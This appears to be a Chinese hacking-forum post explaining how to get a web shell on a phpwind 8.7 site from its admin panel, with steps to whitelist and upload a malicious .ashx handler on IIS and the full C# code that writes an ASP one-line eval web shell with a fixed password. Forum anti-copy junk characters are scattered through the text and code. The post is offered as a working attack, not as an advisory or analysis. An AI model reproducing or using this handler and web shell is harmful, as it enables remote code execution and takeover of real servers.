phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
4 @# V/ D% t; W; p  K$ I' m, U* W
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
1 r3 @, z2 I/ b  }& {
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
% Y' H( P( P8 Z# T! K' R
  [0 \2 ^2 W* ^然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

7 [' c% a1 G/ K- T) [下面是代码:
: u3 I* R5 ?6 h/ W" f; j
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
4 j+ |& j2 P! u/ nusing System.Web;
using System.IO;
8 k& j, {, {$ }- s% F; l7 opublic class Handler : IHttpHandler {
3 S' ~% {; c' P( f$ ?3 |8 [public void ProcessRequest (HttpContext context) {
  |  Z& h! {' e% C# d# }$ Scontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
% B6 ^: N6 W+ K- ]; Gfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
2 }1 k+ e) _; H+ g" }get {
return false;
}
, f6 [0 a9 n8 L# Q4 }1 x}
1 D& m6 n! V5 x) W5 A/ c}